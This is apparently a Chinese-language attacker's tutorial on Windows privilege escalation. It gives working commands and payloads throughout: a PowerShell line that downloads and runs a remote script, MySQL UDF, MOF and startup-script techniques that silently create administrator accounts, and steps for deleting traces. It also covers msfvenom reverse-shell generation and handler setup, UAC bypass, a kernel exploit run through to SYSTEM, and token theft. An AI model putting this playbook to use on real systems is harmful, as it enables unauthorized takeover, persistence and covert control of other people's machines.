提权基础

权限划分

  • Administrators:管理员组,默认情况下,Administrators中的用户对计算机/域有不受限制的完全访问权。
  • Power Users:高级用户组,Power Users 可以执行除了为 Administrators 组保留的任务外的其他任何操作系统任务。
  • Users:普通用户组,这个组的用户无法进行有意或无意的改动。
  • Guests:来宾组,来宾跟普通Users的成员有同等访问权,但来宾帐户的限制更多
  • Everyone:所有的用户,这个计算机上的所有用户都属于这个组。

基础命令

$ query user               # 查看用户登陆情况
$ whoami                   # 当前用户权限
$ set                      # 环境变量
$ hostname                 # 主机名
$ systeminfo               # 查看当前系统版本与补丁信息
$ ver                      # 查看当前服务器操作系统版本
$ net user                 # 查看用户信息
$ net start                # 查看当前计算机开启服务名称
$ netstat -ano             # 查看端口情况
$ netstat -ano|find "3389" # 查看指定端口
$ tasklist                 # 查看所有进程占用的端口
$ taskkil /im xxx.exe /f   # 强制结束指定进程
$ taskkil -PID pid号       # 结束某个pid号的进程
$ tasklist /svc|find "TermService" # 查看服务pid号
$ wmic os get caption              # 查看系统名
$ wmic product get name,version    # 查看当前安装程序
$ wmic qfe get Description,HotFixID,InstalledOn # 查看补丁信息
$ wmic qfe get Description,HotFixID,InstalledOn | findstr /C:"KB4346084" /C:"KB4509094" # 定位特定补丁

# 添加管理员用户
$ net user username(用户名) password(密码) /add  # 添加普通用户
$ net localgroup adminstrators username /add   # 把普通用户添加到管理员用户组
# 如果远程桌面连接不上可以添加远程桌面组
$ net localgroup "Remote Desktop Users" username /add

系统漏洞提权

系统漏洞漏洞提权一般就是利用系统自身缺陷,用来提升权限。通常利用systeminfo查看补丁记录,来判断有哪个补丁没打,然后使用相对应的exp进行提权。

查询补丁信息

  • WinSystemHelper

    :检查可利用的漏洞。该工具适合在任何

    Windows

    服务器上进行已知提权漏洞的检测

    • 上传WinSysHelper.batexplt2003.txtexpgt2003.txt,运行bat查看结果
    • 然后在可利用的Exp中任意下载一个并执行即可
$ WinSysHelper.bat
  • Sherlock

    :在Windows下用于本地提权的PowerShell脚本

    • 分析漏洞出漏洞后利用对应Exp即可
# 启动Powershell
$ powershell.exe -exec bypass

# 本地加载脚本
$ Import-Module Sherlock.ps1

# 远程加载脚本
$ IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/rasta-mouse/Sherlock/master/Sherlock.ps1')

# 检查漏洞,Vulnstatus为Appears Vulnerable即存在漏洞
$ Find-AllVulns

提权步骤

除了需要注意每种漏洞所适用的详细系统版本及位数外,实战中还需要事先免杀并调试好Exp,否则可能有蓝屏等风险。

[01]: KB2999226
[02]: KB976902
  • 然后根据可选补丁编号以及目标系统,选择对应的Exp下载运行即可。
  • 另外还需要注意提权Exp的运行方式,一般有以下几种:
    • 直接执行exe程序,成功后会打开一个cmd窗口,在新窗口中权限就是system
    • 在WebShell中执行exe程序,执行方式为xxx.exe whoami,成功后直接执行命令,再修改命令内容,可以执行不同的命令
    • 利用MSF等工具
    • C++源码,Python脚本,PowerShell脚本等特殊方式

数据库提权

MySQL

  • 前提:拿到Root密码
  • 注意:
    • MySQL5.7以后secure-file-priv的问题
    • MySQL5.7后,系统的用户表mysql.user中的密码字段已从password修改为authentication_string

UDF提权

  • 原理:通过root权限,导入udf.dll到系统目录下,可以通过udf.dll调用执行cmd
  • 利用条件
    • 系统版本:Win2000、WinXP、Win2003
    • 具有对MySQL的insert/delete权限的账号,用以创建和抛弃函数。最好是root,或具备root账号所具备的权限的其它账号。
UDF木马提权
  • 已有Webshell的情况下可以直接上UDF马
UDF手工提权
  • 获取UDF:将

    sqlmap\data\udf\

    中找到对应系统的

    dll_

    文件,复制到

    sqlmap\extra\cloak\

    ,输入以下命令即可得到

    • SQLMap自带的shell及一些二进制文件,为了防止被误杀都经过异或方式编码,不能直接使用,需要利用SQLMap自带的解码工具cloak.py进行解码
$ python cloak.py -d -i lib_mysqludf_sys.dll_
  • 寻找目录
    • MySQL<5.1,UDF导出到系统目录c:/windows/system32/
    • MySQL>5.1,UDF导出到MySQL安装目录lib\plugin\目录(该目录默认不存在,需手动创建)
-- 寻找MySQL目录
mysql> select @@basedir;
mysql> show variables like '%plugin%';

-- 利用NTFS ADS创建目录,有Webshell的情况下可直接菜刀创建
mysql> select '123' into dumpfile 'C:\\phpStudy\\MySQL\\lib::$INDEX_ALLOCATION'; 
mysql> select '123' into dumpfile 'C:\phpStudy\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
  • 导出UDF:直接上传没有权限,可通过MySQL语句写入
-- 在【本地】以二进制读取UDF并转换十六进制
mysql> select hex(load_file("C:\\udf.dll")) into dumpfile 'C:\\myudf.txt';

-- 在【靶机】写入UDF,这里将UDF文件命名为myudf.dll
mysql> select unhex ('十六进制UDF') into dumpfile "C:\\Program Files\\MySQL\\lib\\plugin\\myudf.dll";

-- 出现secure-file-priv相关报错,需要修改mysql配置文件my.ini或mysql.cnf
-- secure_file_priv=/ # 允许导入到任意路径
  • 利用UDF创建用户自定义函数
mysql> create function sys_eval returns string soname 'myudf.dll';
  • 利用函数执行命令
mysql> select sys_eval("whoami")

MOF提权

MOF提权条件
  • Windows 2003及以下版本
  • MySQL启动身份具有权限去读写c:/windows/system32/wbem/mof目录
  • secure-file-priv参数不为null
MOF提权原理

MOF文件每五秒就会执行,而且是系统权限,通过MySQL使用load_file 将文件写入/wbme/mof,然后系统每隔五秒就会执行一次上传的MOF。MOF当中有一段是vbs脚本,可以通过控制这段vbs脚本的内容让系统执行命令,进行提权。

  • nullevt.mof的利用代码如下:
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter {
  EventNamespace = "Root\\Cimv2";
  Name = "filtP2";
  Query = "Select * From __InstanceModificationEvent "
  "Where TargetInstance Isa \"Win32_LocalTime\" "
  "And TargetInstance.Second = 5";
  QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer {
  Name = "consPCSV2";
  ScriptingEngine = "JScript";
# 执行命令,新建用户naraku
  ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user naraku 123456 /add\")";
};
instance of __FilterToConsumerBinding {
  Consumer = $Consumer;
  Filter = $EventFilter;
};
提权步骤
  • 将上面的脚本上传到有读写权限的目录下,如:C:/xxx/

  • 使用sql语句将文件导入到

    c:/windows/system32/wbem/mof/

    • 这里不能使用outfile,因为会在末端写入新行,而MOF在被当作二进制文件时无法正常执行,所以需要用dumpfile导出一行数据。
select load_file("C:/xxx/test.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"
  • 当我们成功把MOF导出时,mof就会直接被执行,且5秒创建一次用户
痕迹清除
  • 提权成功后,就算被删号,MOF也会在五秒内将原账号重建,如果要删除入侵账号可以执行以下命令:
$ net stop winmgmt
$ del c:/windows/system32/wbem/repository
$ net start winmgmt
  • 然后重启服务即可

启动项提权

  • 已知root密码
  • file_priv不为null
create table a (cmd text); 
insert into a values ("set wshshell=createobject (""wscript.shell"") " ); 
insert into a values ("a=wshshell.run (""cmd.exe /c net user naraku 123456 /add"",0) " ); 
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators naraku /add"",0) " ); 
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";

MSSQL

  • 前提:拿到SA密码

利用方式

  • 传统

    xp_cmdshell

    利用

    • xp_cmdshell被删如何恢复
  • 借助COM组件执行命令

  • 借助CLR执行命令(类似MySQL UDF)

  • 本地Hash注入+端口转发/Socks实现无密码连接目标内网MSSQL

  • 利用Windows访问令牌实现无密码连接目标内网MSSQL

Oracle

  • 通常情况下Oracle服务的运行权限都非常高
  • MSF下各类自动化利用模块
  • 通常情况下,Oracle服务的运行权限都比较高

MSF提权

  • 注意以下命令执行时的状态
    • $:Linux命令行下
    • msf:进入MSF控制台
    • meterpreter:进入某个session
# 生成木马并放入靶机
$ msfvenom -p windows/meterpreter_reverse_tcp lhost=<攻击机IP> lport=<攻击机监听端口> -f exe -o /tmp/win.exe
# 攻击机监听
$ msfconsole
msf> use exploit/multi/handler 
msf> set payload windows/meterpreter_reverse_tcp
msf> set lhost <攻击机IP>
msf> set lport <攻击机端口>
msf> exploit
# 靶机运行,此时攻击机MSF会接收到反弹的Shell,在MSF中运行shell命令
meterpreter> shell 
C:\Users\Naraku\Desktop>whoami
naraku-win7\naraku
# 出现中文乱码可运行
# C:\Users\Naraku\Desktop>chcp 65001

GetSystem

  • 直接运行getsystem
meterpreter> getsystem

BypassUAC

  • 相关脚本
    • use exploit/windows/local/bypassuac
    • use exploit/windows/local/bypassuac_injection
    • use windows/local/bypassuac_vbs
    • use windows/local/ask
meterpreter> background  # 后台session 
msf> use exploit/windows/local/bypassuac
msf> set SESSION <session_id>  
# 后台session时会返回session_id,如不清楚可以使用命令sessions -l
msf> run

img

内核提权

# 查询补丁
meterpreter> run post/windows/gather/enum_patches 
[+] KB2999226 installed on 11/25/2020
[+] KB976902 installed on 11/21/2010
  • 也可以使用local_exploit_suggester查询哪些Exp可以利用。
# 查询Exp
msf> use post/multi/recon/local_exploit_suggester 
msf> set LHOST <攻击机IP>
msf> set SESSION <session_id>
msf> run

img

  • 这里将上一步查询到的Exp打了一遍发现都没有成功,回头一看发现原来是系统位数的原因。这里的Meterpreter运行在32位,而系统位数为64位。

img

  • 因此需要做进程迁移,将Meterpreter迁移到一个64位的进程。
meterpreter> sysinfo         # 查看位数
meterpreter> ps              # 查看进程
meterpreter > migrate <PID>  # 进程迁移

img

  • 重复前面使用local_exploit_suggester那一步,可以看到现在查询的是64位的Exp

img

  • 这里选择选个比较新的CVE_2019_1458
msf> use exploit/windows/local/cve_2019_1458_wizardopium 
msf> set SESSION <session_id>
msf> run
meterpreter> getuid
Server username: NT AUTHORITY\SYSTEM

img

令牌操纵

  • incognito假冒令牌
meterpreter> use incognito                                  
meterpreter> list_tokens -u                          # 查看可用的token
meterpreter> impersonate_token 'NT AUTHORITY\SYSTEM' # 假冒SYSTEM token
meterpreter> execute -f cmd.exe -i –t                # -t使用假冒的token 执行
meterpreter> rev2self                               # 返回原始token
  • steal_token窃取令牌
meterpreter> ps                 # 查看进程
meterpreter> steal_token <PID>  # 从指定进程中窃取token
meterpreter> drop_token         # 删除窃取的token

SMB系列RCE

基本绝迹

  • MS08-067
  • MS17-010